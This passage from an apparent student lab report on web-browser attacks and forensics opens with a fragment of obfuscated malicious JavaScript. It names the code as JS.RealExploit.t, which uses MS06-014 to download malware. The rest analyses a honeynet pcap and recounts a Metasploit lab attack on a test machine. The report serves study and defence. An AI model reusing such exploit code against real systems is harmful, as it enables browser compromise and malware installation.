var b=cUuEyTfy(a,"W"+"Sc"+"ri"+"pt"+".S"+"he"+"ll");
if(b)
{
JqtnSxgCzrmE(a);
return(0);
}
}
catch(e){
}
}
i++;
}
}
</script>
</head>
<bodyonload='tsoBepmzmTQVTVZgeTmbAKdTnSMahi()'>
zaRUGegymPCgSKBUSpqCyDtOZtokg
</body>
</html>
- 提取出代码里的一行
BD96C556-65A3-11D0-983A-00C04FC29E36
进行搜索。 - 在该地址:JS.RealExploit.t 中,我们知道这是一个中文名称为
溢出下载者9779
的病毒,病毒长度为9779。该病毒行为:会利用realplay播放器与WINDOWS操作系统的MS-06014漏洞制造的溢出破坏的脚本病毒。假如溢出成功,它就会从指定的地址下载恶意程序。
2.4实践四 取证分析实践——web浏览器遭遇攻击
- 题目:通过分析给出的网络记录pcap文件,回答以下问题:
(1)列出在捕获文件中的应用层协议类型,你认为攻击是针对哪个或哪些协议的?对于wireshark几乎没有攻击使用ICMP、Bootps、Netbios或DNS协议,显然集中在HTTP协议上。
(2)列出捕获文件中的IP地址、主机名和域名,猜测攻击场景的环境配置情况。
(3)列出捕获文件中的所有网页页面,其中哪些页面包含了可疑的、可能是恶意的JavaScript脚本代码?谁在连接这些页面?请描述恶意网页的攻击目的?
(4)请给出攻击者执行攻击动作的概要描述。
(5)攻击者引入了哪些技巧给你的分析带来了困难,请提供在之前问题中识别的恶意JavaScript脚本内容,并对它们进行解码或解密。
(6)攻击者的目标是哪个操作系统,哪些应用软件,哪些安全漏洞?如何阻止这些攻击?
(7)Shellcode执行了哪些动作?请列出Shellcode的MD5,并比较他们之间的差异?
(8)在攻击场景中有二进制可执行恶意代码参与么?它们的目的是什么?
列出在捕获文件中的应用层协议类型,你认为攻击是针对哪个或哪些协议的?
- 安装协议分析软件chaosreader,
sudo wget https://github.com/brendangregg/Chaosreader/archive/master.zip
-
接着执行
mv master.zip chaosreader.zip
,将下载的文件重命名为chaosreader.zip
unzip chaosreader.zip
进行解压 -
还原文件
cd Chaosreader-master
,ls
-
sudo apt install chaosreader,安装chaosreader
-
安装完成后,将提供的参考材料中的
suspicious-time.pcap
文件,复制到kali的chaosreader
的目录下,执行./chaosreader suspicious-time.pcap
命令,读取该文件。
发现了有HTTP、ICMP、Bootps、Netbios、DNS的应用层协议,http协议较多,是针对http协议的攻击。
- 输入如下指令可以查询有哪些IP地址和域名在进行攻击,下面的指令就是选取之前生成的.http.html文件读取,筛选主机并列出来。
for i in session_00[0-9]*.http.html; do srcip=`cat "$i" | grep 'http:\ ' | awk '{print $2}' | cut -d ':' -f1`; dstip=`cat "$i" | grep 'http:\ ' | awk '{print $4}' | cut -d ':' -f1`; host=`cat "$i" | grep 'Host:\ ' | sort -u | sed -e 's/Host:\ //g'`;echo "$srcip --> $dstip = $host"; done | sort
- 通过图片可以看到,域名:
rapidshare.com.eyu32.ru 对应192.168.56.50
,
sploitme.com.cn对应192.168.56.50
,shop.honeynet.sg对应192.168.56.51
。
模拟被侵入主机:192.168.56.50 ( “rapidshare.com.eyu32.ru”)
、192.168.56.51 (“shop.honeynet.sg”)
。
攻击者:192.168.56.52 ( “sploitme.com.cn”)
受害者:10.0.2.15, 10.0.3.15, 10.0.4.15,10.0.5.15
服务:10.0.2.2, 10.0.3.2, 10.0.4.2, 10.0.5.2(DHCP 服务和网关)
,192.168.1.1 (DNS 服务)
- 用wireshark打开pcap文件,过滤一下nbns过滤数据包
通过netbios显示出的主机名和工作组(workgroup),可以看到绝大多数受害主机都是一样的,所以同样可以猜测这些主机都是配置在虚拟机下面的。
列出捕获文件中的所有网页页面,其中哪些页面包含了可疑的、可能是恶意的JavaScript脚本代码?谁在连接这些页面?请描述恶意网页的攻击目的?
- 使用Wireshark的过滤出HTTP,可以看到攻击者对靶机的网站的一系列操作
- 在wireshark查看所有访问的web界面,发现生成了许多html文件。在chaosreader文件夹下找到
session_0006.part_01.html
,右键使用浏览器访问
应该是一个钓鱼网站,由上图是恶意创建的对应的就是rapidshare.com.eyu32.ru/login.php
接下来找sploitme.com.cn,对应文件session_0007.part_02.html
,发现页面NotFound
接着找shop.honeynet.sg/catalog/,对应文件session_0032.part_01.html
请给出攻击者执行攻击动作的概要描述
攻击者引入了哪些技巧给你的分析带来了困难,请提供在之前问题中识别的恶意JavaScript脚本内容,并对它们进行解码或解密
右键网页,查看源代码
发现恶意网页伪装成了404页面
攻击者的目标是哪个操作系统,哪些应用软件,哪些安全漏洞?如何阻止这些攻击?
对142号数据包追踪TCP流,查看攻击者192.168.56.52发送给受害者10.0.3.15的数据
可以查看到主要攻击目标是IE浏览器漏洞
说明含有ActiveX组件漏洞,这是ActiveX漏洞的相关攻击过程
Shellcode 执行了哪些动作?请列出Shellcode的MD5,并比较它们之间的差异?
在攻击场景中有二进制可执行恶意代码参与吗?它们的目的是什么?
是有恶意软件的参与的
3.学习中遇到的问题及解决
-
问题1:第一个实践,动手实践中,我尝试了两个漏洞,进行web浏览端的渗透攻击。我使用的漏洞有:MS06—014(成功) 和 MS14_064(未成功),不成功的原因:靶机访问恶意网站成功了,但攻击机执行
sessions
,显示没有活跃的会话。- 问题1的解决:尚未解决
-
问题2:利用MS06—014漏洞产生了恶意网站,win2k不知道为啥访问不了
- 问题2的解决:一开始以为是没ping通,或者没联网,后来捣鼓了半天,访问成功了。
-
问题3:做完实践后,再次打开kali不知道出什么毛病了,之前顶部一直有的应用程序菜单不见了,我尝试右键打开终端、wireshark等应用,都不能找到关闭的地方,总之各种奇怪。界面如下:
-
问题3的解决:不知道怎么了。。。尚未解决。
-
问题4:实践4不知该分析
- 未解决
4.实践总结
好多问题。。。
参考资料
- 《网络攻防技术与实践》(诸葛建伟著)
- MS14_064 XSS实现网页挂马
- JS.RealExploit.t